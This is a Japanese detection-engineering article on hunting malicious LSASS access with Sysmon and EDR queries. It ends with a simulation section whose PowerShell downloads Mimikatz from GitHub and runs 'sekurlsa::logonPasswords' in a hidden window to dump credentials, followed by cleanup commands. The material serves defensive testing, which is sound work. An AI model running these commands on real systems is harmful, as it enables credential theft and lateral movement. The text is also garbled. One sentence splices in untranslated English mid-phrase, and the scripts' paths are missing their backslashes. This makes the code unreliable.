SOC Prime Bias: 中程度

11 12月 2025 17:46

Windows環境における悪意のあるLSASSアクセスのハンティング

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Windows環境における悪意のあるLSASSアクセスのハンティング
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

この記事では、攻撃者がMimikatzやCobalt Strikeのようなツールを使用してLSASSプロセスにアクセスし、資格情報を抽出する方法について説明しています。典型的なWindows API呼び出し、DLL、およびLSASSメモリダンプに関わるアクセス権について説明しています。著者はSysmonや他のEDRプラットフォーム向けの検出クエリを更新し、資格情報ダンプ検出範囲を強化することに重点を置いています。

調査

Splunkの脅威調査チームは、Atomic Red Team、Mimikatz、Invoke-Mimikatz、およびCobalt Strikeを使用してLSASSアクセスをエミュレートしました。Sysmonのテレメトリが、DLLロード(dbgcore.dll、dbghelp.dll、ntdll.dll)と特徴的なGrantedAccess値を示しているところを捕捉しました。このデータセットを活用して、特定のアクセス権とCallTrace情報を関連付ける検出クエリを調整しました。

軽減策

lsass.exeに対するProcessAccessイベントをログするようにSysmonまたはEDRポリシーを調整し、既知のDLLと関連するアクセス権にフィルターを適用し、信頼されたシステムプロセスをホワイトリストに登録します。提供されたクエリを使用して、疑わしいLSASSアクセスパターンに関するアラートを生成します。新しいツールや技術が出現するたびに、これらのルールを継続的に見直し、洗練させてください。

対応策

検出がトリガーされた場合、元のプロセス、関連するユーザーコンテキスト、およびLSASSアクセスに関与するDLLを検証してください。影響を受けたエンドポイントを隔離し、より深いフォレンジック分析のためにメモリをキャプチャし、認証情報盗難の証拠を評価します。プロセスツリーを調べて、正当な管理者ユーティリティを攻撃者の活動と区別します。

攻撃の流れ

この部分はまだ更新中です。通知を受け取るにはサインアップしてください

通知する

シミュレーション実行

前提条件:テレメトリとベースラインのプリフライトチェックが合格している必要があります。

根拠:このセクションでは、検出ルールをトリガーするために設計された攻撃者の技術(TTP)の正確な実行を詳述しています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。

  • 攻撃の説明とコマンド:
    攻撃者は被害者のホストでローカル管理者権限を取得し、横移動のために資格情報を収集したいと考えています。オープンソースツールMimikatzをマシンにコピーし、プロセスをDEBUG特権に昇格させ、sekurlsa::logonPasswordsモジュールを呼び出し、ntdll.dllを横切るネイティブAPI呼び出しを介してLSASSメモリを読み取ります。Sysmonはこれをいくつかの高権限ntdll.dll. Sysmon logs this as a ProcessAccess event with several high‑privilege GrantedAccessフラグ(例:0x00100x14000x1fffffとしてProcessAccessイベントとしてログを取り、攻撃者はUI露出を避けるために非表示のPowerShellセッションからツールを実行します。

    # 1. Mimikatzバイナリを%TEMP%にドロップ
    $mkPath = "$env:TEMPmimikatz.exe"
    Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "$env:TEMPmk.zip"
    Expand-Archive -Path "$env:TEMPmk.zip" -DestinationPath $env:TEMP -Force
    Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
    
    # 2. 資格情報ダンプコマンドでMimikatzを実行
    Start-Process -FilePath $mkPath -ArgumentList 'privilege::debug sekurlsa::logonPasswords exit' -WindowStyle Hidden -Wait
  • 回帰テストスクリプト:

    # ----------------------------------------------------------------------
    # LSASS資格情報ダンピングシミュレーション – Sigmaルール#4e0789a0をトリガー
    # ----------------------------------------------------------------------
    # Mimikatzをドロップ(既に存在しない場合)
    $mkPath = "$env:TEMPmimikatz.exe"
    if (-Not (Test-Path $mkPath)) {
        $zip = "$env:TEMPmk.zip"
        Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile $zip
        Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
        Move-Item -Path "$env:TEMPmimikatzx64mimikatz.exe" -Destination $mkPath -Force
        Remove-Item $zip -Force
    }
    
    # Mimikatzを実行してLSASSの資格情報をダンプ
    $args = 'privilege::debug sekurlsa::logonPasswords exit'
    Write-Host "[+] Mimikatzを実行してLSASSダンプを実行中..."
    Start-Process -FilePath $mkPath -ArgumentList $args -WindowStyle Hidden -Wait
    Write-Host "[+] Mimikatz実行が完了しました。"
    # ----------------------------------------------------------------------
  • クリーンアップコマンド:

    # Mimikatzバイナリと残留ファイルを削除
    $mkPath = "$env:TEMPmimikatz.exe"
    if (Test-Path $mkPath) { Remove-Item $mkPath -Force }
    $folder = "$env:TEMPmimikatz"
    if (Test-Path $folder) { Remove-Item $folder -Recurse -Force }
    Write-Host "クリーンアップが完了しました。"